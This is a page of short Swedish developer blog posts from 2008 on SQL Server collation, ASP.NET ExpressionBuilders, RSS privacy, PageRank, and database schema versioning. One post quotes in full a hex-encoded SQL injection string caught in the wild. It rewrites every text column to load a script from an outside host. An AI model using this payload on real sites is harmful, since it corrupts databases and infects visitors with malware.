59/2008

Ändra Collation på databas i SINGLE_USER-läge

Om man vill ändra Collation på en databas kan det vara svårt ifall man har andra användare uppkopplade. Detta blockerar kommandot och man får "The database could not be exclusively locked to perform the operation".

För att komma runt problemet kan man gå in i "SINGLE_USER"-läge (Glöm inte att gå tillbaks till "MULTI_USER" efter åt.

ALTER DATABASE <DBNAME> SET SINGLE_USER WITH ROLLBACK IMMEDIATE
GO

ALTER DATABASE <DBNAME>
COLLATE SQL_SwedishStd_Pref_CP1_CI_AS;
GO

ALTER DATABASE <DBNAME> SET MULTI_USER
GO
Av Jesper Lind

Skriv kommentar

318/2008

Blog in application - how to make rss feeds private?

(Detta inlägg är ett svar till en engelsk blog, men postar den här också på vår svenska sajt)

Ayende writes an interesting post about the how idea of having a blog incorporated in your application can be a clever idea.

I have been thinking of this concept myself for a admin system I am developing. I think that a rss feed would be very handy but havn't been able to figure out how to make it private. Think I read somewhere about a way to put password on a feed, but some of the big rss readers does not support it yet (for example Google Reader).

One of the commenters to Ayende's post gave me a tip worth checking out. Unfortunatly it only works in Outlook / IE.

If you want to make RSS feeds private the easiest way (that works with Outlook at least) is to enable HTTP Basic Authentication and visit the RSS feed with IE to input credentials and check the option to save them. Then Outlook will transparently use those credentials to update the feed.
Av Jesper Lind

Skriv kommentar

298/2008

Skapa en ExpressionBuilder för Application-variabler

Hade ett litet problem när jag ville få in en Application-variabel i SelectParameters till en SqlDataSource. Sessions-variabler går ju men ej Application. Se en tutorial för vilka typer av parametrar man kan skicka med som standard.

Googlade runt lite och hittade infomation om något som heter ExpressionBuilder i ramverket som jag aldrig använt tidigare. Med detta kan man skapa egna prefix och koppla det till klasser som tar ut den data man vill åt, och man kan binda värden i kontroller. Så min idé var att skapa en ExpressionBuilder som hämtade ut Application-variabler och det gick väldigt bra.

Här kommer jag gå igenom de steg jag gjorde, det hela handlade om att jag ville åt en egen parameter för vilken @Culture SqlDataSource skulle få som inparameter.

I Global.asx skapar jag parametern baserat på domännamnet. Är det en .se-domän vill jag ha "sv-SE" och för alla andra "en-GB".

protected void Application_BeginRequest(Object sender, EventArgs e)
{
        //Check if domain is swedish
       Application["CurrentCulture"] = HttpContext.Current.Request.Url.ToString().IndexOf("codeodyssey.se") != -1 ? "sv-SE" : "en-GB";
}

Min SqlDataSource ser ut ungefär så här:

<asp:SqlDataSource
    ID="sdsBlogPosts"
    runat="server"
    ConnectionString="<%$ ConnectionStrings:ConnectionString %>"
    SelectCommand="SELECT Title, Message FROM BlogPost WHERE Culture=@Culture"
    DataSourceMode="DataSet">
    <SelectParameters>
        <asp:Parameter Name="Culture" DefaultValue="<%$ AppVar:CurrentCulture%>" />
    </SelectParameters>
</asp:SqlDataSource>

För att få ExpressionBuilder att fungera så deklarerar man den i Web.config.

<compilation debug="false">
  <expressionBuilders>
    <add expressionPrefix="AppVar" type="AppVarExpressionBuilder, __code"/>
  </expressionBuilders>
</compilation>

Och sen själva klassen lägger man i App_Code.

using System.CodeDom;
using System.Web.Compilation;
using System.Web.UI;

/// <summary>
/// Summary description for AppVarExpressionBuilder
/// </summary>

public class AppVarExpressionBuilder : ExpressionBuilder
{
    public override CodeExpression GetCodeExpression(BoundPropertyEntry entry, object parsedData, ExpressionBuilderContext context)
    {
        CodeTypeReferenceExpression targetClass = new CodeTypeReferenceExpression(typeof(AppVarExpressionBuilder));
        const string targetMethod = "GetIdentity";
        CodeExpression methodParameter = new CodePrimitiveExpression(entry.Expression.Trim());
        return new CodeMethodInvokeExpression(targetClass, targetMethod, methodParameter);
    }

    public static object GetIdentity(string param)
    {
        string returnString = string.Empty;
        if (System.Web.HttpContext.Current.Application[param]!=null)
        {
            returnString = System.Web.HttpContext.Current.Application[param].ToString();
        }
        return returnString;
    }
}

Hade stor hjälp av ett artikel av Peter Kellner för att lista ut hur ExpressionBuilders fungerar så tack för den.

Av Jesper Lind

2 kommentarer

298/2008

Håll reda på dina sajters Google PageRank med smidig tjänst

Har provat på PageRankAlert och måste säga att det är en smidig tjänst. Man kan lägga till url:er til sina webbsajter och få email när PageRank förändras.

Detta värde är alltså Google's rankningsvärde för att hålla reda på hur viktig en sajt anses vara. Nuförtiden är det ju tvivelaktigt hur mycket detta värde spelar in i sökmotorns algorithmer, men endå kul med statistik.

Tyvärr har Codeodyssey går ner en del det sista halvåret till en 3:a. Vi som åtminstonde låg på en 4: förra året.

Av Jesper Lind

3 kommentarer

278/2008

rssHugger - min recension

http://www.codeodyssey.se/upload/resource/blog/rssHugger-logo.png

Okej har inte så mycket att säga om sajten rssHugger ännu eftersom jag just registrerade min blogg.Det handlar om en tjänst som man kan promota sin blogg på, så mycket har jag förstått.

De har i alla fall en smart registreringsprocess måste jag säga. När man kommer till steget där man ska lägga till sin blogg så har man två alternativ. Antingen betalar man 20 dollars eller så skriver man en recension. Jag valde det senare alternativet...

Av Jesper Lind

Skriv kommentar

278/2008

Spännande sql-injektion dundrade just in

Fick just in följande sträng mot en parameter på en sajt, nån som orkar lista ut vad den är tänkt att ställa till med?

;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S)

Sökte på den på Google och fick en hel del träffar. Intressant att om man klickar på Cachad på någon av dem spärrar G bort och visar förstsidan istället. Undrar ifall jag kommer bli blockad för att jag postade den här...

Av Jesper Lind

4 kommentarer

278/2008

Uppdatering om ISAPI-regler med Helicon Tech Rewrite 3

Skrev en beskrivning om hur man gör ISAPI Rewrite 3 på Bineros servrar och tyvärr innehåll denna några fel. Så om någon har provat beskrivningen utan lycka så kan jag rekommendera att kolla in ändringarna på den länken och så kommer det nog gå mycket bättre.

ISAPI-reglerna ska bland annat ligga i en fil vid namnet .htaccess och inte httpd.ini som jag skrev först.

Av Jesper Lind

Skriv kommentar

268/2008

Det kanske inte är så dumt att hårdkoda endå...

Den israeliska Kodaren Ayende skrev för ett tag sen några intressanta inlägg där han framhöll att hårdkoda är det bästa sättet för att skapa lättföränderliga system. Stick och stäv mot de flesta programmerares uppfattning med andra ord. Och antagligen var han ute för att provocera en del och han lyckades reta upp rätt många utvecklare. Läs på Wikipedia om du vill veta mer om begreppet att hårdkoda.

Hur som helst blev en intressant omväxling kommentarer till inläggen och han förklarade mer hur han menade att för mycket konfigurering i system lätt kan leda till pannkaka. Kände mig lite träffad inte minst för att jag har just ett databasfält i en webbapp som heter likande som i hans exempel ("random_number") och insåg att konfigurering av onödiga värden lätt kan gå till överdrift.

Ayende berättar att han nyligen genomfört ett större projekt där han hårdkodade allt i små ddl:er och han tyckte det fungerade alldeles utmärkt. Fördelen menar han är att ju mindre värden som affärsfolket som ska använda systemet kan ändra desto bättre och mindre risk för att de matar in galna värden som är inkompatibla med varandra.

Sen är det ju ofta admin-interfacen som är det krävande jobbet när man bygger upp ett system. Ju minde värden kunden ska kunna ändra desto lättare går det ju att bygga färdigt systemet. Mycket jobb går annart till för att validerar input för vad nu användaren kan få för sig att trycka in i systemet.

Läs även det sista inlägget i hans "hårdkodar-serie" där han pratar om att när ett system skalar upp och fler regler läggs på så blir blir det ohållbart att ha för mycket konfigurerbara värden.

Intressant helt klart och något att tänkta på när man bygger system. Hårdkoda mera.

Av Jesper Lind

Skriv kommentar

258/2008

Jaiku flyttas till Google App Engine

Mikroblogg-tjänsten Jaiku har under helgen varit nere för underhåll. Det har spekulerats ifall Google (som köpt tjänsten) håller på att flyttade den till deras Google App Engine och det verkar vara fallet. Jaikuinvites har kört en tracert som tyder på det i alla fall.

N borde det inte dröja länge innan de öppnar tjänsten för alla att registrera sig. Antagligen kommer de öven att koppla in den mot det vanliga google kontot/Gmail.

Hoppas nu bara att de drar igång på måndag igen, för det är ganska trist utan tjänsten som man börjat uppskatta mycket. Har blivit en del Twittrande istället för att kompensera.

Av Jesper Lind

Skriv kommentar

248/2008

Jämnföra databasscheman och hålla ordning på versioner

När man utvecklar en webbapplikation (eller andra typer av program för den delen också) så är det ofta en stor utmaning att hålla strukturen på databaserna likadan. Man gör ändringar i sin orginalmodell och försöker ändra alla de databaser som är i drift enligt bästa förmåga. Hittills har jag inte haft något speciellt bra sätt att göra detta på utan det slutar ofta med felsökning steg för steg och ändra databasen manuellt. Tänkte här skriva om några sätt som kan förenkla detta jobb.

Lägga in databasskripten i källkodsprojektet

Ett sätt är att skripta ut hela databasen och sedan inkludera skripten i källkodsprojektet som Coding Horror förklarar. Inte helt på det klara om detta kan hjälpa en för att uppdatera befintliga databaser, men att ha strukturen i kod är ju ett bra första steg.

Använda sig av databas-migrering

Detta är ett koncept som funnits länge i Ruby On Rails-världen och innebär att varje förändring i databasen sparar i uppdateringsskript som man kan köra på sina databaser. 

Subsonic-teamet har nyligen inspirerats av Rails och lagt in liknande Migrations-funktionalitet i Subsonic. Har provat detta lite under sommaren och även fast det är väldigt ny teknik så verkar det fungera mycket bra.

Program för att Jämnföra databasscheman

Detta sätt tycker jag är det mest bekväma och innebär minst jobb. Man utgår helt enkels från sin orginalstruktur för databasen och jämför denna med de databaser som ska uppgraderas.

Denna funktionallitet finns i Visual Studio men bara i team-edition så den har jag inte testat själv. Verkar fungera fint och jag kan rekommendera läsning hos Emad Ibrahim som har provat på det.

Det smidigaste programmet som jag har provat är dock utan tvekan Redgate SQL Compare. Att jämföra två databaser går på nån minut och man får sedan SQL Skript redo att köra på den databas som ska uppgraderas. Har bara provat testversionen men funderar skarpt på att göra en investering i en licens.

Om du har några erfarenheter om hur man kan göra version-hantering av databaser lättare, så uppskattas kommentarer.

Av Jesper Lind

2 kommentarer

<<Föregående 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Nästa>>

Sidor

Etiketter

Ads